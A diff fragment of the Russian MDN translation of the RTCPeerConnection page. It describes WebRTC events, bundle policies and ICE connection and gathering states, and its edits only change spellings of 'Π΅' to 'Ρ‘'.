+ <dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RTCPeerConnection</code>Β Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β  {{domxref("MediaStreamTrack")}} , связанного с соСдинСниСм измСняСт своё Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚Ρ€Π΅ΠΊΠ° являСтся ΠΈΠ·ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ {{domxref("MediaStreamTrack.isolated", "isolated")}}, Ссли Π΅Π³ΠΎ содСрТимоС Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ доступно содСрТащСму Сго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ нСвозмоТности Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚Ρ€Π΅ΠΊΠ° ΠΏΡ€ΠΈΠ±Ρ‹Π» Π½Π΅ ΠΈΠ· источника происхоТдСния страницы.<br>
Π’Π°ΠΊ ΠΆΠ΅, доступно чСрСз свойство установки ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}}.</dd>
<dt>{{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}</dt>
<dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RTCPeerConnection</code>Β Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ согласованиС (пСрСсогласованиС)Β ICE соСдинСния; ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ соСдинСния , ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ нСобходимости принятия ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ условий сСти. ΠŸΠΎΠ»ΡƒΡ‡Π°Ρ‚Π΅Π»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ, создав ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ² Π΅Π³ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΏΠ°Ρ€Ρ‚Π½Π΅Ρ€Ρƒ.Β <br>
@@ -83,7 +83,7 @@ translation_of: Web/API/RTCPeerConnection
<h3 id="ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½ΠΈΠ΅_RTCBundlePolicy">ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½ΠΈΠ΅ RTCBundlePolicyΒ </h3>
-<p>ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½ΠΈΠ΅Β <code>RTCBundlePolicy</code>Β (ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° сборки ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ²) опрСдСляСт строковыС константы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для запроса ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ ΠΏΡ€ΠΈ сборкС Β ICE ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ², Π² случаС, Ссли ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ участник соСдинСния (удалСнная Ρ‚ΠΎΡ‡ΠΊΠ°) Π½Π΅ совмСстим со стандартом <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a>Β  для объСдинСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΌΠ΅Π΄ΠΈΠ°ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² Π²Β ΠΎΠ΄ΠΈΠ½ транспортный ΠΏΠ°ΠΊΠ΅Ρ‚.</p>
+<p>ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½ΠΈΠ΅Β <code>RTCBundlePolicy</code>Β (ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° сборки ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ²) опрСдСляСт строковыС константы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для запроса ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ ΠΏΡ€ΠΈ сборкС Β ICE ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ², Π² случаС, Ссли ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ участник соСдинСния (удалённая Ρ‚ΠΎΡ‡ΠΊΠ°) Π½Π΅ совмСстим со стандартом <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a>Β  для объСдинСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΌΠ΅Π΄ΠΈΠ°ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² Π²Β ΠΎΠ΄ΠΈΠ½ транспортный ΠΏΠ°ΠΊΠ΅Ρ‚.</p>
<div class="note">
<p><strong>Β ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ :</strong>Β Π’ тСхничСских Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Ρ… BUNDLEΒ (ΠΏΠ°ΠΊΠ΅Ρ‚) позволяСт всСм ΠΌΠ΅Π΄ΠΈΠ°ΠΏΠΎΡ‚ΠΎΠΊΠ°ΠΌ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΏΠΈΡ€Π°ΠΌΠΈ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ΄ΠΈΠ½ 5 - Ρ‚ΠΈ элСмСнтный ΠΊΠΎΡ€Ρ‚Π΅ΠΆ (Ρ‚ΠΈΠΏ транспортного ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ сообщСний ΠΏΡ€ΠΈ установки  TCP, UDP, ΠΈ ICMP соСдинСний, состоящий ΠΈΠ· пяти элСмСнтов Π°Π½Π°Π»ΠΈΠ·Π° Π΄Π°Π½Π½Ρ‹Ρ…). Π’ΠΎ Π΅ΡΡ‚ΡŒ, с ΠΎΠ΄Π½ΠΎΠ³ΠΎ IP-адрСса ΠΈ ΠΏΠΎΡ€Ρ‚Π° Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΡƒΠ·Π»Π΅ Π½Π° ΠΎΠ΄ΠΈΠ½ IP-адрСс ΠΈ ΠΏΠΎΡ€Ρ‚ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΡƒΠ·Π»Π΅ с использованиСм ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ транспортного ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°.</p>
@@ -100,16 +100,16 @@ translation_of: Web/API/RTCPeerConnection
<tr>
<td><code>"balanced"</code></td>
<td>
- <p>Ббалансированный. АгСнт ICE ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ создаСт ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ  {{domxref ("RTCDtlsTransport")}} для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° добавляСмого ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°: Π°ΡƒΠ΄ΠΈΠΎ, Π²ΠΈΠ΄Π΅ΠΎ ΠΈ ΠΊΠ°Π½Π°Π»ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…. Если  удалСнная конСчная Ρ‚ΠΎΡ‡ΠΊΠ° Π½Π΅ ΠΎΠΏΠΎΠ·Π½Π°Π΅Ρ‚ ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹, Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· этих DTLS транспортов ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ всС ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΈ для ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° Π΄Π°Π½Π½Ρ‹Ρ….</p>
+ <p>Ббалансированный. АгСнт ICE ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ создаёт ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ  {{domxref ("RTCDtlsTransport")}} для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° добавляСмого ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°: Π°ΡƒΠ΄ΠΈΠΎ, Π²ΠΈΠ΄Π΅ΠΎ ΠΈ ΠΊΠ°Π½Π°Π»ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…. Если  удалённая конСчная Ρ‚ΠΎΡ‡ΠΊΠ° Π½Π΅ ΠΎΠΏΠΎΠ·Π½Π°Π΅Ρ‚ ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹, Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· этих DTLS транспортов ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ всС ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΈ для ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° Π΄Π°Π½Π½Ρ‹Ρ….</p>
</td>
</tr>
<tr>
<td><code>"max-compat"</code></td>
- <td>Максимально совмСстимый. АгСнт ICE ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ создаСт ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref ("RTCDtlsTransport")}} для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠ΅Π΄ΠΈΠ°-Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ для ΠΊΠ°Π½Π°Π»ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…. Если удалСнная Ρ‚ΠΎΡ‡ΠΊΠ° Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΎΠΏΠΎΠ·Π½Π°Π²Π°Π½ΠΈΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚Π°, всС согласовываСтся Π½Π° этих ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ…Β DTLS транспортах</td>
+ <td>Максимально совмСстимый. АгСнт ICE ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ создаёт ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref ("RTCDtlsTransport")}} для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΌΠ΅Π΄ΠΈΠ°-Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ для ΠΊΠ°Π½Π°Π»ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…. Если удалённая Ρ‚ΠΎΡ‡ΠΊΠ° Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΎΠΏΠΎΠ·Π½Π°Π²Π°Π½ΠΈΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚Π°, всС согласовываСтся Π½Π° этих ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ…Β DTLS транспортах</td>
</tr>
<tr>
<td><code>"max-bundle"</code></td>
- <td>ΠœΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠ°ΠΊΠ΅Ρ‚. АгСнт ICE ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ создаСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref ("RTCDtlsTransport")}} для пСрСноса всСх Π΄Π°Π½Π½Ρ‹Ρ… RTCPeerConnection. Если удалСнная  Ρ‚ΠΎΡ‡ΠΊΠ° Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΎΠΏΠΎΠ·Π½Π°Π²Π°Π½ΠΈΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚Π°, Ρ‚ΠΎ согласовываСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Π° Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°, Π° ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ.</td>
+ <td>ΠœΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠ°ΠΊΠ΅Ρ‚. АгСнт ICE ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ создаёт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref ("RTCDtlsTransport")}} для пСрСноса всСх Π΄Π°Π½Π½Ρ‹Ρ… RTCPeerConnection. Если удалённая  Ρ‚ΠΎΡ‡ΠΊΠ° Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΎΠΏΠΎΠ·Π½Π°Π²Π°Π½ΠΈΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚Π°, Ρ‚ΠΎ согласовываСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Π° Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°, Π° ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ.</td>
</tr>
</tbody>
</table>
@@ -128,15 +128,15 @@ translation_of: Web/API/RTCPeerConnection
<tbody>
<tr>
<td><code>"new"</code></td>
- <td>ICE Π°Π³Π΅Π½Ρ‚ собираСт адрСса ΠΈΠ»ΠΈ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ получСния ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Ρ… ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ΠΎΡ‚ Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или всС сразу.</td>
+ <td>ICE Π°Π³Π΅Π½Ρ‚ собираСт адрСса ΠΈΠ»ΠΈ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ получСния ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ΠΎΡ‚ Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или всС сразу.</td>
</tr>
<tr>
<td><code>"checking"</code></td>
- <td>ICE Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Ρ… ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ΠΈ провСряСт ΠΏΠ°Ρ€Π½ΠΎΡΡ‚ΡŒ локального ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π°, ΠΏΡ‹Ρ‚Π°ΡΡΡŒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ совмСстимости. Но Π΅Ρ‰Π΅ Π½Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ» ΠΏΠ°Ρ€Ρƒ, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ устанавливаСмому ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ соСдинСнию.НС ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ, Ρ‡Ρ‚ΠΎ сборка ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒΡΡ.</td>
+ <td>ICE Π°Π³Π΅Π½Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ΠΈ провСряСт ΠΏΠ°Ρ€Π½ΠΎΡΡ‚ΡŒ локального ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π°, ΠΏΡ‹Ρ‚Π°ΡΡΡŒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ совмСстимости. Но Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ» ΠΏΠ°Ρ€Ρƒ, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ устанавливаСмому ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌΡƒ соСдинСнию.НС ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ, Ρ‡Ρ‚ΠΎ сборка ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒΡΡ.</td>
</tr>
<tr>
<td><code>"connected"</code></td>
- <td>БовмСстимая ΠΏΠ°Ρ€Π½ΠΎΡΡ‚ΡŒ локального ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² Π½Π°ΠΉΠ΄Π΅Π½Π° для всСх ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² соСдинСния, ΠΈ соСдинСниС Π±Ρ‹Π»ΠΎ установлСно. НС ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ΅Π½ΠΈΠ΅ сборки ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² Π² процСссС соСдинСния, для Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠΉ совмСстимости.</td>
+ <td>БовмСстимая ΠΏΠ°Ρ€Π½ΠΎΡΡ‚ΡŒ локального ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² Π½Π°ΠΉΠ΄Π΅Π½Π° для всСх ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² соСдинСния, ΠΈ соСдинСниС Π±Ρ‹Π»ΠΎ установлСно. НС ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ΅Π½ΠΈΠ΅ сборки ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² Π² процСссС соСдинСния, для Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠΉ совмСстимости.</td>
</tr>
<tr>
<td><code>"completed"</code></td>
@@ -144,11 +144,11 @@ translation_of: Web/API/RTCPeerConnection
</tr>
<tr>
<td><code>"failed"</code></td>
- <td>АгСнт ICE ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠ» всС ΠΏΠ°Ρ€Ρ‹ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ собой ΠΈ Π½Π΅ нашСл совмСстимых сопоставлСний для всСх ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² соСдинСния. Или Π½Π΅ нашСл совмСстимых соСдинСний для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ².Β </td>
+ <td>АгСнт ICE ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠ» всС ΠΏΠ°Ρ€Ρ‹ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ собой ΠΈ Π½Π΅ Π½Π°ΡˆΡ‘Π» совмСстимых сопоставлСний для всСх ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² соСдинСния. Или Π½Π΅ Π½Π°ΡˆΡ‘Π» совмСстимых соСдинСний для Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ².Β </td>
</tr>
<tr>
<td><code>"disconnected"</code></td>
- <td>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ всС Π΅Ρ‰Π΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹, хотя Π±Ρ‹ для ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("RTCPeerConnection")}}.Β  Π­Ρ‚ΠΎ ΠΌΠ΅Π½Π΅Π΅ строгий тСст, Ρ‡Π΅ΠΌ <code>"failed"</code>, ΠΈ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ пСриодичСски Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Ρ‚ΡŒΡΡ спонтанно Π² ΠΌΠ΅Π½Π΅Π΅ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹Ρ… сСтях, ΠΈΠ»ΠΈ Π²ΠΎ врСмя Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Когда ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° исчСзнСт, ​​соСдинСниС ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ Π² состояниС <code>"connected".</code>Β </td>
+ <td>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ всС Π΅Ρ‰Ρ‘ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹, хотя Π±Ρ‹ для ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("RTCPeerConnection")}}.Β  Π­Ρ‚ΠΎ ΠΌΠ΅Π½Π΅Π΅ строгий тСст, Ρ‡Π΅ΠΌ <code>"failed"</code>, ΠΈ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ пСриодичСски Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Ρ‚ΡŒΡΡ спонтанно Π² ΠΌΠ΅Π½Π΅Π΅ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹Ρ… сСтях, ΠΈΠ»ΠΈ Π²ΠΎ врСмя Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Когда ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° исчСзнСт, ​​соСдинСниС ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ Π² состояниС <code>"connected".</code>Β </td>
</tr>
<tr>
<td><code>"closed"</code></td>
@@ -171,7 +171,7 @@ translation_of: Web/API/RTCPeerConnection
<tbody>
<tr>
<td><code>"new"</code></td>
- <td>Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ создано, ΠΈ Π΅Ρ‰Π΅ Π½Π΅ ΠΈΠΌΠ΅Π»ΠΎ сСтСвой активности.</td>
+ <td>Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ создано, ΠΈ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΈΠΌΠ΅Π»ΠΎ сСтСвой активности.</td>
</tr>
<tr>
<td><code>"gathering"</code></td>
@@ -179,7 +179,7 @@ translation_of: Web/API/RTCPeerConnection
</tr>
<tr>
<td><code>"complete"</code></td>
